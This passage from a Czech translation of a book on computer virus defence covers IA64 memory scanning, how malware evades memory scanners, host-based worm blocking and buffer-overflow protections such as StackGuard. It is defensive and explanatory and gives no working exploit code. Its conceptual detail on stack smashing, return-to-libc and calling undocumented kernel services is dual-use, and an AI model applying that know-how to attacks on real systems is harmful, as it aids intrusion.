Tato operace zde však není zbytečná. Procesor Itanium kóduje instrukce do svazků. Mohou být použity maximálně tři sloty, tedy tři instrukce v jednom svazku. Nelze-li na některou následnou pozici umístit instrukci, musí kompilátor vyplnit volné místo instrukcemi NOP. Kód je prováděn po jednotlivých svazcích skrze ukazatel instrukcí (IP). Instrukční sloty jsou dekódovány podle masky.

Nakonec kód odbočí na b6 (branch, registr větvení), který obsahuje hodnotu registru r2. Tím je volání služby dokončeno. K dekódování hodnoty NtServiceID je potřeba dekódovat operaci "MOV r8 = 6", která je kódována ve stejném svazku, jako následující instrukce MOVL a NOP. To je ta jednoduchá část.

Poté, co získáme NtService ID, musíme vědět, jak na Itaniu pracuje registr globálních ukazatelů (GP, Global Pointer). Je to přednastavená hodnota pro přístup k datům uvnitř zavedeného modulu. Na architektuře x86 neexistuje žádný globální ukazatel. Byl však používán už na strojích typu RISC a systém NT je už dávno zavedl pro pro PowerPC. Při standardním volání musí být GP nastaven volajícím kódem. Tato hodnota je v záhlaví zavedeného modulu přístupná prostřednictvím IMAGE_DIRECTORY_ENTRY_GLOBALPTR. Pro volání funkce NTAPI je potřeba získat globální ukazatel jádra (NTOSKRNL.EXE). Můžeme jej snadno zjistit použitím funkce ZwQuerySystemInformation().

Musíme ale také vědět, jak definovat ukazatel na funkci. Na architektuře IA64 je každé API, i každá funkce, definována jako PLABEL_DESCRIPTOR (PLD)15: typedef struct _ PLABEL_DESCRIPTOR {

460

Kapitola 12 – Skenování paměti a dezinfekce

ULONGLONG EntryPoint; ULONGLONG GlobalPointer; } PLABEL_DESCRIPTOR, *PPLABEL_DESCRIPTOR;

API, které potřebujeme k dynamickému volání, musí být tedy definováno jako PLD. Před samotným voláním funkce je potřeba nastavit GP na GP jádra (NTOSKRNL.DLL). Také je potřeba nastavit hodnotu EntryPoint na odpovídající adresu v položce tabulky descriptorů služby. Tu můžeme získat pomocí ID dekódovaného z NTDLL.DLL. Volání neexportovaného API je tedy tímto způsobem tedy velmi jednoduché.

Poznámka Procesory AMD64 a EM64T nepoužívají registr GP.

Skenování paměťových oblastí ovladačů může být řešeno podobným způsobem, jako v systémech IA32.

Ve výpisu 12.16 vidíme část mapy 64bitového NT OS a zavedených ovladačů na IA64. Složka System32 je zbytné (remnant) jmého adresáře, ve kterém je uložen 64bitový obraz NT OS. Modul NTDLL.DLL zůstává zavedený v dolní části uživatelského adresovacího prostoru.

Výpis 12.16 Ukázková mapa jádra a zavedených ovladačů v 64bitových Windows na IA64.

Adresa

Jméno

E000000083000000

\WINNT64\System32\ntoskrnl.exe

E0000000836BE000

\os\winnt50C\hal.dll

E0000165CF020000

\WINNT64\System32\KDCOM.DLL

E0000165CF028000

\WINNT64\System32\BOOTVID.dll

E0000165E746C000

ACPI.sys

E0000165CF200000

\WINNT64\System32\DRIVERS\WMILIB.SYS

E0000165E740C000

pci.sys

E0000165E73E2000

isapnp.sys

E0000165CF390000

pciide.sys

E0000165CE800000

\WINNT64\System32\DRIVERS\PCIIDEX.SYS

: : E0000165E6E14000

Ntfs.sys

E0000165E6D2E000

NDIS.sys

E0000165E6CAC000

Mup.sys

E0000165E484E000

\SystemRoot\System32\DRIVERS\VIDEOPRT.SYS

E0000165E4894000

\SystemRoot\System32\DRIVERS\ati2mpaa.sys

: E0000165E1EE6000

\SystemRoot\System32\DRIVERS\netbios.sys

E0000165E1E3E000

\SystemRoot\System32\DRIVERS\rdbss.sys

Počítačové viry – analýza útoku a obrana E0000165E1B9A000

\SystemRoot\System32\DRIVERS\mrxsmb.sys

E0000165E1AE8000

\SystemRoot\System32\Drivers\fastfat.SYS

461

: 2000000000000000

\??\E:\WINNT64\system32\win32k.sys

: E0000165E004C000

\SystemRoot\System32\Drivers\Cdfs.SYS

E0000165DFFE2000

\SystemRoot\System32\DRIVERS\ipsec.sys

0000000077E70000

\WINNT64\system32\ntdll.dll

12.8 Možné útoky proti skenování paměti Skenování paměti je bohužel předmětem několika možných druhů protiútoků. V následujících bodech je uvedeno několik takových útoků a také možných řešení.  Š ifrování bylo velkým problémem už pod operačními systémy typu DOS. Viry se mohou zakó-

dovat tak, že v jeden okamžik je k dispozici pouze malá část dešifrovaného kódu.  Útočníci mohou v paměti, ke zmatení skenerů, použít polymorfní kód. Například viry Whale

a DarkParanoid16 používají tuto metodu v DOSu a varianty W32/Elkern17 v 32bitových systémech Windows. Takové viry mohou být detekovány pouze algoritmickým skenováním paměti.  Metamorfní viry představují podobný problém. Jejich kód musí být také detekován algoritmicky.  Útočník může použít takový virový kód, který "skáče" v celém adresovacím prostoru aplikace,

nebo se vkládá do nových procesů a z původních míst odstraňuje. Tím komplikuje práci paměťovým skenerům typu on-demand. Paměťové skenery typu on-access se mohou proti tomuto druhu útoků bránit.  Útočník může umístit kód viru do několika procesů současně. Většinou takto pracují retroviry,

které se snaží probojovat zpět a nedovolí násilné ukončení. Předpokládejme útok, který se skládá z několika částí polymorfních nebo metamorfních rutin umístěných v několika hostitelských procesech. V obou případech je problémem to, že skener potřebuje mít v jeden okamžik přístup k adresovacím prostorům více procesů. Musí tedy být implementován současný přístup ke všem běžícím procesům. Teprve pak může algoritmický skener současně zkontrolovat procesy A a B a korektně se rozhodnout, jakým způsobem virus odstranit.  Č erv může běžet ve více kopiích sebe sama, takže se navzájem hlídají. Eventuálně může být do

procesu vložen thread, který bude hlídat proces červa. Příkladem prvního druhu útoku je varianta viru W32/Chiton, příkladem druhého útoku je virus W32/Lovegate@mm. První varianta útoku je založena na sebeobranném mechanismu programu "Robin Hood a mnich Tuck", který byl údajně vytvořen společností Motorola v polovině sedmdesátých let18.  Útočník může použít paměťové stealth techniky takovým způsobem, že se zavěsí na rozhraní,

které používá antivirový software. Tento princip se někdy používá pro nezobrazení vybraných procesů v seznamu. Podobným způsobem se mohou skrývat i červi. Například několik virů patřících do rodiny Gaobot, skrývá jména svých procesů ve Správci úloh, v kontrolním seznamu správce služeb (Service Control Manager List) a také také obraz červa na disku.

462

Kapitola 12 – Skenování paměti a dezinfekce

12.9 Shrnutí a budoucnost Skenování paměti a dezinfekce je v systémech založených na technologii NT velmi náročnou úlohou.

Multitaskové a multithreadové prostředí je mnohem komplexnější (v porovnání s DOSem), takže většina virů určených pro Windows je rovněž obdobným způsobem komplexnější. S rostoucím počtem virů pro platformu Win32, musí svět antivirů čelit stále obtížnějším problémům. K nezbytné přípravě nyní patří detailní studium nastávajících virů pro Win32 a Win64. Skenování adresovacího prostoru na systémech IA64, AMD64 a EM64T je uskutečnitelné. Dezinfekce těchto systémů je ovšem podobná výzvám Válek kódů (Code Wars).

Kromě jiných bezpečnostních prvků budou systémy Microsoftu NGSCB (Next Generation Computing Base) podporovat zapečetěnou paměť (seal memory), což budou speciální oblasti fyzické paměti. Je ovšem otázkou, kdy a v jakém OS bude tato implementace Microsoftem použita. Kvůli této nejistotě je tak detailní rozbor NGSCB mimo oblast této knihy. Pod NGSCB je hardware upraven takovým způsobem, aby mohl kód (používá se pojem Agent Nexus) běžet v chráněné oblasti paměti. Ideou je možnost ukrytí (tajných) informací před ostatními komponentami systému.

Je obtížné nyní předpovědět, zda-li bude antivirový software schopen skenovat obsah paměti agentů Nexus (NCA) – tím by totiž mohl být porušen smysl této speciální oblasti paměti. Pokud však nemůže antivirový software skenovat tuto schovanou (zacloněnou) paměť, může této ochrany zneužívat libovolný škodlivý kód. Pokud by virus typu CodeRed mohl zneužívat NCA, pak nemůže být detekován v paměti.

Toto nebezpečí se sice snižuje pomocí nespustitelných (NX, Nonexecutable) stránek, podporovaných moderními CPU, nemůže však být úplně vyvráceno. NCA kromě toho nemohou používat dodatečné DLL knihovny a jejich runtime tak může mít velmi omezenou funkčnost, která pravděpodobně nebude dostatečná k tomu, aby mohl útočník implementovat počítačového červa.

Koncept NGSCB je ilustrován na obrázku 12.9.

Obrázek 12.9

Obecný koncept NGSCB, založený na předběžných informacích od Microsoftu.

Počítačové viry – analýza útoku a obrana

463

Odkazy 1. Peter Szor, "Memory Scanning Under Windows NT", Virus Bulletin Conference, str. 325-346.

2. Ismo Bergroth a Mikko Hypponen (Data Fellows), osobní komunikace.

3. Eugene Kaspersky (Kaspersky Labs), osobní komunikace.

4. Peter G. Viscarola a W. Anthony Mason, "Windows NT Device Driver Development", MachMillan Technical Publishing, 1998. ISBN: 1-57870-058-2.

5. "Virtually Unlimited Memory", The NT Insider, březen-duben 1998.

6. "Virtual Memory", The NT Insider, leden-únor 1999.

7. Jeffrey Richter, "Advanced Windows NT", Microsoft Press, Redmond, Washington, 1994, ASIN: 1572315482.

8. Peter Szor, "Attacks on Win32", Virus Bulletin Conference, 1999.

9. Peter Szor, "Parvo – One Sick Puppy", Virus Bulletin, leden 1999.

10. Peter Szor, "Beast Regards", Virus Bulletin, červen1999.

11. Peter Szor, "Happy Gets Lucky?" Virus Bulletin, srpen 1999.

12. BartPE, ke stažení na http://www.nu2.nu/pebuilder.

13. Sergey Belov (Kaspersky Labs), osobní komunikace.

14. Peter Ferrie and Peter Szor, "64-bit Rugrats", Virus Bulletin, červenec 2004, str. 4-6.

15. Matt Pietrek, "Programming for 64-bit Windows", MSDN Magazine, listopad 2000.

16. Eugene Kaspersky, "DarkParanoid – Who Me?", Virus Bulletin, leden 1998, str. 8-9.

17. Peter Ferrie, "Un combate con el Kernado", Virus Bulletin, 2002, pp. 8-9.

18. "Robin Hood and Friar Tuck", http://catb.org/~esr/jargon/html/meaning-of-hack. html.

19. "Next Generation Secure Computing Based", 2003, http://msdn.microsoft.com.

464

Kapitola 12 – Skenování paměti a dezinfekce

KAPITOLA 13 Techniky blokování červů a ochrany před pronikáním na bázi hostitele "Při přemýšlení o chorobách jsem nikdy neusiloval o nalezení léku proti nim, ale raději o jejich prevenci."

Louis Pasteur (1822-1895)

466

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

Od doby červa Morris v roce 1988 se počítačoví červi stali jednou z největších výzev internetového věku. Každý měsíc jsou v široké skupině operačních systémů a aplikací hlášeny kritické zranitelnosti.

A rovněž roste v alarmujícím množství počet případů zneužití těchto zranitelností počítačovými červy.

Tato kapitola reprezentuje některé slibné techniky ochrany před průniky (intrusion), které jsou založeny na hostitelích, a které mohou zastavit celou třídu rychle se šířících virů, využívajících útoků přetečením bufferu (například W32/CodeRed1, Linux/Slapper2 a W32/Slammer3).

Poznámka Zmínil jsem zde techniky přetečení bufferu, protože je pokládám za nejvýznamnější. Existuje ovšem několik dalších možností, kterým jsem se vyhnul – buď proto, že nejsou natolik důležité, anebo jsou velice specializované a pokrývají pouze malý počet možných exploitací.

13.1 Úvod Počítačoví červi mohou být klasifikováni na základě způsobu replikace, který používají. Během několika posledních let používala většina úspěšných (také nazývaných "in-the-wild") počítačových červů e-mail, jako svůj infekční nástroj pro rozšíření se do nových hostitelských systémů. Červi tohoto typu se nazývají jako hromadně se rozesílající červi.

I před fakt, že se binární červi typu W32/SKA@m (červ Happy99) silně rozšířili, stali se všeobecně známými až díky e-mailovým virům založeným na makrech a skriptech, jako třeba V97M/Melissa@mm nebo VBS/LoveLetter@mm. Tento trend byl pak následován několika lety úspěšných útoků binárních červů pro Win32, jako například W95/Hybris, W32/ExploreZip, W32/Nimda či W32/Klez.

V nedávné době se začal u autorů virů objevovat nový trend, vedoucí k vytváření agresivních a rychle se šířících červů. Tento trend byl potvrzen představením červa W32/CodeRed, který znamenal velkou bezpečnostní výzvu.

Když se objeví relativně nová a úspěšná strategie psaní virů, dojde vždy k tomu, že se začnou objevovat nové a nové viry, které začnou tuto strategii používat také. Tento proces klonování produkuje stovky rodin virů, které mají stejné základní charakteristiky, obvykle však s některými vylepšeními. Proto se také očekávalo klonování červa W32/CodeRed a vznik nových a ještě více agresivnějších červů.

Objevení červa W32/Slammer, který v 376 bajtech převzal základní koncept červa CodeRed, nebyl proto nijak překvapující. Slammer je jedním z nejrychleji se šířících binárních červů všech dob4. Infekce dosáhla vrcholu v několika hodinách a vedla k masivnímu útoku DoS (Denial of Service) na internetu.

Namísto protokolu TCP, který byl použit v červu CodeRed, červ Slammer používá pro útoky protokol UDP. Protože tento protokol (na rozdíl od TCP) není potvrzovaný a protože byl útok realizován pomocí jediného paketu, byl Slammer mnohem rychlejší než CodeRed. Proces, který se pokouší o spojení pomocí TCP, musí pro zjištění neúspěchu počkat, až vyprší timeout. Slammer oproti tomu jednoduše provede útok na možný cíl a bez čekání pokračuje dál. Úspěšný útok trvá stejně dlouho, jako útok neúspěšný – každý z nich spočívá pouze v zaslání paketu a je tedy velmi rychlý.

Počítačové viry – analýza útoku a obrana

467

Abych byl úplně přesný – metody asynchronního spojení TCP mohou být téměř tak efektivní, jako metody UDP, nicméně to vyžaduje výrazně větší schopnosti jak programátora, tak i kódu.

V budoucnosti můžeme očekávat více škodlivých hackerů, kteří budou těžit z "automatizovaných průniků" za pomoci červů. Vzrůstá proto důležitost systémů ochrany proti těmto skupinám červů.

13.1.1 Blokování skriptů a SMTP červů Skriptovací červi, jako například VBS/Loveletter@mm, se šíří řádově mnohem rychleji, než předchozí "generace" virů. Skriptovací červi donutili vývojáře společnosti Symantec k začlenění technik blokující tyto hrozby do programu Symantec AntiVirus. V důsledku toho byla technologie pro blokování skriptů úspěšně nasazena už v roce 20005.

Je pozitivní, že technologie blokování skriptů vedla k velkým změnám v antivirových produktech, které pak dokázaly efektivněji chránit uživatele v domácnostech. Úroveň nebezpečí se pak začala pomalu snižovat. Další techniky blokování skriptů a efektivnější, souborově orientované, heuristiky pak způsobily trvalý pokles hrozby nebezpečných skriptů.

Náhlý vzrůst 32bitových binárních červů, kteří používají vlastní SMTP engine pro šíření sebe sama pomocí e-mailů, byl přirozeným důsledkem rozvoje skriptů a makro virů. Vznik SMTP červů, jako jsou například W32/Nimda@mm a W32/Klez@mm, vedl k vytvoření a začlenění techniky pro blokování červů v produktu Symantec AntiVirus 2002. Blokování červů je sice jednoduchá, nicméně velmi efektivní technika.

Během posledního roku se pomocí takových technik totiž úspěšně podařilo zabránit hromadnému rozšíření červů, jako W32/Bugbear@mm, W32/Yaha@mm, W32/Sobig@mm6, W32/Brid@mm, W32/ HLLW.Lovgate@mm, W32/Holar@mm, W32/Lirva@mm a mnoha dalším variantám.

Oddělení společnosti Symatec, které je zodpovědné za bezpečnost, dostalo po několika měsících od vypuštění nové verze svého produktu s blokujícími technikami, několik tisíc hlášení o tom, kteří červi byli úspěšně zablokování.

Například – v srpnu roku 2003 se stal červ W32/Sobig.F@mm zodpovědným za jeden z nejvýznamnějších e-mailových útoků, který po několik dní paralyzoval e-mailové systémy. Technologie blokování červů zablokovala více než 900 kopií červa – uživatelé antiviru od společnosti Symatec tak byli před červem chráněni ještě předtím, než byli tito červi vůbec definováni. A podle posledních statistik blokování zastavilo více než 12000 kopií červa W32/Mydoom.A@mm. Tabulka 13.1 ukazuje žebříček dvaceti červů seřazených podle počtu zablokování jejich kopií.

Typicky bývají útoky červů úspěšné až do doby, dokud nejsou v systémech aktualizovány příslušné signatury. Podle tabulky 13.1 je jasně vidět, že bez techniky blokování červů by dalších 12 tisíc počítačových systémů začalo propagovat červa Mydoom.

468

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

Tabulka 13.1 – Seznam dvaceti nejvíce zablokovaných červů pro Win32.

Počet hlášení

Jméno červa

12159

W32.Mydoom.A@mm

9709

W32.Netsky.D@mm

5334

W32.Netsky.B@mm

5111

W32.Yaha.K@mm

2598

W32.Netsky.C@mm

2451

W32.Mydoom.F@mm

1275

W32.Netsky.Z@mm

1274

W32.Sobig.E@mm

1210

W32.Mapson.Worm

1048

W32.Netsky.K@mm

1039

W32.Bugbear.B@mm

1021

W32.Sobig.F@mm

971

W32.Netsky.X@mm

888

W32.Dumaru@mm

745

W32.Netsky.Q@mm

673

W32.HLLW.Mankx@mm

652

W32.Sobig.C@mm

629

W32.Sobig.B@mm

390

W32.Mimail.A@mm

372

W32.Netsky.Y@mm

Získávané informace o zablokovaných červech vedou k rychlejšímu vydávání updadů s jejich signaturami. Zákazníci Symantecu tím získávají rychlejší odezvu na vysoce infikující Win32 červy. Tento výsledkem je výborný, zejména s ohledem skutečnost, že autoři virů vytvořili v průběhu každého měsíce roku 2004 cca několik set nových 32bitových virů pro Windows. Mnohé z těch nejvíce úspěšných patří mezi hromadně se rozesílající prostřednictvím e-mailu.

Obrázek 13.1 ukazuje za období od září 1999 do října 2004 celkový počet známých variant 32bitových virů.

Počítačové viry – analýza útoku a obrana

Obrázek 13.1

469

Celkový počet známých variant 32bitových virů pro Windows měsíčně.

Z obrázku je zjevné, že tvorba virů se zrychlila v roce 2004, současně s rychle se rozvíjejícím druhem počítačového červa, který pracuje na síťové úrovni a který využívá různé exploitace. Za posledních několik let se objevila asi tisícovka binárních červů založených na e-mailu. Během posledních 12 měsíců se však objevily tisíce nových variant červů, které využívají různých zranitelnosti. Počet těchto červů však může být (v porovnání s e-mailovými červy) ještě podhodnocen, z jednoho hlavního důvodu – je totiž obecně těžší je zaznamenat, nehledě na fakt, že lidé mají každodenní zkušenost s vedlejšími efekty e-mailových červů, stejně jako se spamy. E-mailové schránky jsou jich plné.

Základní myšlenka blokování červů je jednoduchá. Patentovaná technologie funguje tak, že SMTP proxy založená na hostiteli, používá ovladač režimu jádra pro přímé sledování odchozího provozu. Tato komponenta neslouží pouze jako antivirový skener e-mailů, ale slouží také pro blokování červů.

Tato komponenta pro blokování červů ví o všech procesech, které incializují odchozí SMTP provoz, protože všechno prochází přes příslušnou proxy. Příslušná komponenta tak může kontrolovat, zdali je tento proces (nebo jeho nadřazený proces), přítomen v daném e-mailu ve formě přílohy. Škodlivý software, který se sám rozesílá, je tak snadno detekován a následně zablokován. Tento postup funguje i v případě, kdy je přílohou zkomprimovaný soubor, například typu ZIP. Porovnávací algoritmus navíc dokáže rozeznat změny obsahu souboru do té míry, že jsou detekovatelní i červi, kteří během replikace mění strukturu svého těla (například W32/Klez nebo W32/ExploreZip).

470

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

Technika blokování červů nemusí být schopna zastavit všechny červy. Má však velké šance na úspěch, zejména v případech, kdy se objeví červi, kteří jsou pouze odvozeni od jiných červů.

13.1.2 Blokování nových útoků – CodeRed a Slammer Počítačoví červi, jako například W32/CodeRed nebo W32/Slammer, jsou velkou výzvou pro již existující antivirové technologie. Tito vysoce nakažliví červi skáčou z hostitele na hostitele a infikují procesy systémových služeb, přičemž využívají síťových služeb a útoků pomocí přetečení bufferu. Protože není potřeba vytvářet na disku nějaké soubory, a protože je kód injektován přímo do adresovacího prostoru zranitelného procesu, jsou v případě těchto útoků omezeny schopnosti systémů určených pro ověřování integrity souboru.

Tato kapitola se zaměřuje popis aktivních metod, které jsou založeny na hostitelích, a které by měly sloužit jako linie obrany proti neznámým útokům využívající známé metody. Blokování červů na bázi hostitele slibuje detekci neznámých variant červů a jejich útoků, založených na již známých technikách.

Techniky blokování červů založené na hostiteli pak nabízejí v takových případech výrazné zvýšení ochrany.

13.2 Techniky blokování útoků využívající přetečení bufferu "Každý netriviální program obsahuje chyby."

Tato část popisuje některé z nejdůležitějších technik pro detekci a ochranu před útoky využívající přetečení bufferu a související exploity v počítačových systémech. Některé z nich jsou teprve ve fázi výzkumu, jiné se už používají. Tyto procedury pomáhají při ochraně před infekcemi rychle se šířícími počítačovými červy.

Pokud pomineme komplexnost a typ přetečení, v zásadě není rozdíl mezi technikou přetečení internetového červa Morris7 a dnes používanými pokročilejšími útoky (jako Linux/Slapper2). Tito červi jsou totiž založeny na stejných myšlenkách, které souvisejí s přetečením zásobníku nebo struktur heapu.

Mohou být rozděleny do několika hlavních kategorií.

Většinu červů na systémech BSD a UNIX, jako jsou třeba Morris, Linux/Slapper, BSD/Scalper nebo Solaris/Sadmind, můžeme označit mezi červy založené na kódu shellu (shellcode).

Kód shellu je krátká posloupnost kódu, která běží v interpretu příkazů (shellu) na vzdáleném systému.

Jedná se například o /bin/sh na UNIXu nebo cmd.exe na Windows. Komunita hackerů si mezi sebou vyměňuje tyto kódy, které jsou určeny pro mnoho operačních systémů. Někteří hackeři je pak používají pro útoky pomocí přetečení, eventuálně je upravují pro tento typ útoku. Poté, co shell spustí na vzdáleném stroji, může se do systému nakopírovat červ, který pak nad ním získá úplnou kontrolu. Hackeři používají tuto techniku pro "získání vlastnictví" nad cizím počítačem.

Jiné třídy červů, například W32/CodeRed, tuto techniku nepoužívají. Místo toho ukradnout (hijack) thread některé vadné aplikace a pomocí kódu injektovaného za běhu se spustí jako součást exploitované služby hostitele. Techniky představené v této kapitole poskytují ochranu jak proti shell kódům, tak i proti útokům pomocí injektáže kódu za běhu.

Počítačové viry – analýza útoku a obrana

471

Zde existuje jedna významná skupina útoků, označovaná jako "návrat k LIBC" (return-to-LIBC). V takovém případě se útočník snaží přesměrovat návrat do standardního existujícího kódu v systému (například run-time jazyka C nebo API operačního systému). Útočník se snaží dosáhnout přetečení zásobníku takovým způsobem, aby mohl pomocí instrukce ret přesměrovat tok vykonávání do volání zamýšleného API s parametry, které si sám stanoví (zásobník je přepsán zvolenými parametry a stejně tak i "návratovou adresou", která je právě adresou zamýšleného volání API).

Tímto způsobem není prováděn kód v zásobníku, a ani na heapu. To je důležité, protože některé techniky ochrany proti přetečení vyžadují kontrolu kódu, který neběží tam, kde by měl – tedy právě v zásobníku, nebo na hromadě. Z tohoto důvodu je tato třída útoků vůči zmíněným technikám ochrany imunní.

Přestože existující červi tuto techniku nepoužívají, dá se očekávat, že ji v budoucnu využívat začnou.

V očekávání vzniku takových červů jsem strávil mnoho času popisováním technik proti útokům typu return-to-LIBC.

13.2.1 Přezkoumání kódu Nejefektivnější metodou ochrany proti útokům pomocí přetečení bufferu je přezkoumání kódu, které provádějí bezpečnostní experti. Softwarové produkty mnoha společností jsou často vydávány s minimálním, nebo vůbec žádným přezkoumáním kódu, což vede k eventuálním bezpečnostním problémům.

Ale i když je toto přezkoumání prováděno, lidé občas nebývají dostatečně kvalifikováni k tomu, aby dokázali odhalit případné bezpečnostní problémy. Ve všech stádiích vývoje je potřeba si vytrénovat bezpečnostní profesionály. Programátory je potřeba neustále vzdělávat v otázkách bezpečnosti.

Prozkoumávání kódu je důležité především z toho důvodu, že ten, kdo má k dispozici zdrojový kód, má také nejlepší možnosti obrany. Nemůžeme však předpokládat, že vývojář dokáže detekovat všechny bezpečnostní problémy. Většinu takových nedostatků totiž odhalí lidé nezasvěcení do kódu – jako třeba profesionálové v oblasti bezpečnosti a hackeři. Dalším problémem je to, že bezpečnostní přezkoumání kódu se často soustředí na samotný kód, přičemž se opomine samotný návrh aplikace. To samo o sobě vede k závažným problémům se zranitelností.

13.2.1.1 Bezpečnostní aktualizace Mnoho bezpečnostních profesionálů věří, že publikování zranitelných míst nějakého produktu přinutí danou společnost, aby rychle vytvořila příslušné záplaty. Nicméně – pokud je záplata k dispozici, zákazníci je často zapomínají použít, a to až do té doby, dokud nejsou taková zranitelná místa zneužita proti nim. Důvody pro malé používání bezpečnostních aktualizací jsou následující:  Lidé neví, že bezpečnostní záplaty existují, nebo je nechtějí používat.  Ve velkých společnostech je často nákladné je implementovat.  Záplaty občas neopraví všechny bezpečnostní nedostatky.  Občas způsobují havárie nebo nekompatibilitu se stávajícími programy.

Používání aktualizací je nejefektivnějším typem ochrany proti některým bezpečnostním rizikům. Opomíjení jejich používání není dobrou praxí, přestože aktualizace na některých systémech občas působí

472

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

problémy. Dobrým příkladem je Microsoft Security Bulletin MS03-007, který mnoho lidí nepřesně zná pod označením "zranitelnost WebDav". Jedna z tehdejších chyb přetečení bufferu byla umístěna v okruhu oprávnění 3 (ring 3), v uživatelském režimu. Bylo potřeba opravit funkci run-time knihovny (RTL) nativního API modulu NTDLL.DLL. Kromě toho existovala v jádře zranitelnost ohledně přetečení celých čísla (integer).

Protože původní škodlivý exploit pracoval se součástí WebDav systému IIS, mnoho bezpečnostních profesionálů si myslelo, že k obraně proti možnému útoků postačí, když se WebDav zakáže. Záplata, kterou poskytoval Microsoft, nahrazovala soubor NTDLL.DLL novou verzí, což bylo chápáno jako příliš velký zásah, který by mohl na mnoha systémech způsobit komplikace. Díky tomu se pak spousta lidí příslušnou aktualizaci vůbec nezabývala, přičemž se spokojili s pouhým zakázáním součásti WebDav. Mnoho systémů tak bylo ponecháno bez odpovídající ochrany.

Důležitým poznatkem je tedy to, že mohou být zneužity zranitelnosti v jednotlivých aplikacích. Je-li však chyba v některé sdílené komponentě, například v nějaké součásti operačního systému, jsou napadnutelné i všechny aplikace, které tuto komponentu využívají. Když se objeví zranitelnost některé aplikace, neznamená to ještě, že ostatní aplikace jsou bezpečné. Zakázání aplikace v tomto případě znamená zakrytí skutečného problému. Tato situace je ještě horší, objeví-li se zranitelnosti ve staticky linkovaných knihovnách, jako například zlib nebo openssl. Toto může způsobit zranitelnost celého systému. Mnoho výrobců software si bohužel neuvědomuje, že jsou jejich produkty zranitelné nebo tuto skutečnost rovnou zanedbávají a žádné bezpečnostní aktualizace neposkytují.

Kvůli ochraně zranitelného software proti možným útokům musíme důsledně dotáhnout do konce každou fázi jeho vývoje. K ochraně je potřeba přistupovat na všech úrovních – od zdrojových kódů až po ochranu aplikace za běhu. Přitom je potřeba porozumět všem možnostem i omezením jednotlivých technik ochrany.

13.2.2 Řešení na úrovni kompilátoru Po nějakou dobu používali programátoři specifický software pro zjišťování bezpečnostních nedostatků aplikace, jako například BoundsChecker. Ten jim pomohl najít mnoho existujících přetečení a dalších problémů s kvalitou programů. Jak se však útoky pomocí přetečení bufferu stávaly stále populárnějšími a úspěšnějšími, začali bezpečnostní profesionálové uvažovat o lepším řešení na úrovni kompilátoru.

Programovací jazyky C a C++ nabízejí velké možnosti všem typům útoků založeným na přetečení bufferu. Protože je kód, zapsaný v těchto jazycích, obzvláště zranitelný, musí programátoři využívat různých technik spojených s kompilátory.

Taková řešení nás samozřejmě nemohou zbavit potřeby provádět bezpečnostní prozkoumání kódu.

Techniky na úrovni kompilátorů jsou prvotní ochranou proti většině známých typů útoků pomocí přetečení zásobníku. Většina z nich ovšem proti takovým útokům neposkytuje naprosto stoprocentní ochranu – zpravidla ani neposkytují ochranu proti přetečení, které se týká heapu. Tato kapitola uvádí několik jednoduchých příkladů toho, proč jsou některé systémy zranitelné pomocí útoků na zásobník (stack), i když jsou označeny jako chráněné.

Měli bychom si však uvědomovat, že čím více technik je nasazeno k zajištění ochrany, tím větší množství znalostí a schopností je potřeba k jejich obejití. A to zdaleka všichni potencionální útočníci nemají. Ne-

Počítačové viry – analýza útoku a obrana

473

hledě na fakt, že útočníci, kteří jsou vybaveni dostatečnými znalostmi, potřebují k provedení úspěšného útoku také více času. Na straně útočníka jsou nicméně následující výhody:  Mají přístup ke zkompilovanému kódu; v případě open-source i ke kódu zdrojovému.  Mají většinou dostatek času.  Obtížnost různých exploitů. Některé zranitelnosti jsou útočníky snadno zneužity, zatímco práce

na jiných trvá měsíce. Složitost ochrany proti nim se však nemění. Je stejně obtížná a vůbec to nezáleží na tom, jak snadno je možné konkrétní zranitelnost využít. U některých projektů může být obtížná (a také extrémně drahá) změna pouhých dvou řádků kódu.  I když některé exploity vyžadují naprostou preciznost, exploity na jiných systémech už nemusí

po útočnících vyžadovat takovou přesnost.

13.2.2.1 StackGuarg StackGuard byl uveden v roce 19988 jako jedno z prvních rozšíření kompilátorů k ochraně proti některým typům útoků přetečením zásobníku. Byl vytvořen jako rozšíření překladače gcc. Šikovným způsobem používá detekci modifikované návratové adresy pomocí techniky "kanára" ("canary"). Většina přetečení zásobníku spočívá v přetečení bufferu, umístěného poblíž návratové adresy funkce na zásobníku. Chybějící "kontrola ohraničení" (bounds check) umožňuje přetečení bufferu pomocí řetězce velké délky a tudíž i manipulaci funkce návratové hodnoty na zásobníku. Takový útok se nazývá jako stack smashing9.

Když se funkce vrací k volajícímu (caller), vezme si adresu, kterou tam předtím vložil útočník. StackGuard se takovým útokům brání tak, že vedle návratové adresy na zásobník vloží varovnou hodnotu (tzv "kanára" – viz obrázek 13.2).

StackGuard je jednoduchou záplatou pro function_prologue a function_epilogue v gcc. Rozšířením function_prologue o tuto varovnou hodnotu (kanára) a function_epilogue pro její ověřování, může být za běhu programu detekována úprava této hodnoty. Pokud je hodnota změněna, rutina epilogu provede "handler mrtvého kanára" (canary-death-handler) místo návratu funkce. Pokud je tedy útok detekován, kód útočníka nemá možnost se spustit.

Existuje ovšem pár věcí, na které se implementace StackGuardu verze 2.x nezaměřuje – některé z nich bude pokrývat StackGuard 3. Neposkytuje například ochranu proti útokům na ukazatele rámce (frame pointer, EBD). Kanár je totiž umístěn za návratovou adresou a přetečení ukazatele rámce tak nemusí být detekováno. Ke změně ukazatele rámce není potřeba změnit hodnotu kanára.

StackGuard je dále zranitelný vůči útokům, které jsou vedeny proti ukazatelům funkcí mezi lokálními proměnnými. Zůstává však skutečností, že StackGuard dokáže efektivně blokovat mnoho internetových červů (jako například červa Morris). Je to možné ovšem pouze v případě, že aplikace, která obsahuje zranitelný kód (například fingerd), byla se StackGuardem zkompilována.

474

Obrázek 13.2

Kapitola 13 – Techniky blokování červů a ochrany před pronikáním ...

StackGuard umístí "kanára" na zásobník pod "návratovou adresu".

Červ Morris používal útok založený na kódu shellu, přičemž pro spuštění tohoto kódu modifikoval na zásobníku návratovou adresu funkce main(). Kód shellu zde byl vložen jako "řetězec" prostřednictvím zranitelné služby fingerd10.

Rekompilace zranitelných služeb se StackGuardem může ochránit před linuxovými červy, kteří používají jednoduché útoky na zásobník. Červi jako Linux/Slapper používají přetečení na heapu, kterým StackGuard nemůže zabránit. Je však důležité poznamenat, že v současných počítačových červech není přetečení hromady obecně používanou technikou – většina červů používá jednoduchou techniku přetečení zásobníku.

